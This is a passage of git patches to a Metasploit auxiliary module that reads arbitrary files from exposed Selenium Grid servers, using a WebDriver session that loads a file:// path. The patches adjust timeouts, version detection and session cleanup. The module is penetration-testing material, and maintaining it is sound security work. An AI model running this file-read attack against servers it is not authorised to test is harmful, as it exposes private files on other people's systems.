version = Rex::Version.new(json_data['version']) @@ -117,12 +124,14 @@ def run ] } }) - }) - fail_with(Failure::Unknown, 'Connection failed.') unless res + }, datastore['TIMEOUT']) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId'] fail_with(Failure::Unknown, 'Failed to start session.') unless session_id + print_status("Started session (#{session_id}).") + # driver.get('file://%s' % [FILEPATH]) res = send_request_cgi({ 'method' => 'POST', @@ -143,11 +152,19 @@ def run print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}") # End session - send_request_cgi({ + # This may take some time (about 5 minutes or so), so no timeout is set here. + res = send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"), 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' } }) + if res + print_status("Deleted session (#{session_id}).") + else + print_status("Failed to delete the session (#{session_id}). "\ + 'You may need to wait for the session to expire (default: 5 minutes) or '\ + 'manually delete the session for the next exploit to succeed.') + end end end From bca9a5fe610beaa83e6a56bf3259bc3d1e0b7d68 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 6 Jan 2025 19:43:48 +0900 Subject: [PATCH 4/6] Update check --- .../auxiliary/gather/selenium_file_read.rb | 32 +++++++++---------- 1 file changed, 15 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb index 96021c92dfb0..15217c80ae93 100644 --- a/modules/auxiliary/gather/selenium_file_read.rb +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -58,28 +58,26 @@ def initialize(info = {}) end def check + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + }) + if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') + if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') + elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') + return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') + end + end + # Request for Selenium Grid version 3 v3res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) - if v3res&.code != 200 - # Request for Selenium Grid version 4 - v4res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'status') - }) - if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && - v4res.get_json_document['value'].include?('message') - if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' - return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') - elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') - return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') - end - end - - return Exploit::CheckCode::Unknown('Unexpected server reply.') - end + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code From f0d747ce6f095b5a1ebaedaf04ea10b938a6ad27 Mon Sep 17 00:00:00 2001 From: Takahiro Yokoyama Date: Wed, 8 Jan 2025 21:01:50 +0900 Subject: [PATCH 5/6] Update modules/auxiliary/gather/selenium_file_read.rb Co-authored-by: Diego Ledda --- modules/auxiliary/gather/selenium_file_read.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb index 15217c80ae93..78025975af9b 100644 --- a/modules/auxiliary/gather/selenium_file_read.rb +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'nokogiri' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient From 3fc85e103e35d5e1621d7a1199eec0231650fe94 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Wed, 8 Jan 2025 21:09:22 +0900 Subject: [PATCH 6/6] Rubocop formatting --- modules/auxiliary/gather/selenium_file_read.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb index 78025975af9b..610cc1034a3a 100644 --- a/modules/auxiliary/gather/selenium_file_read.rb +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report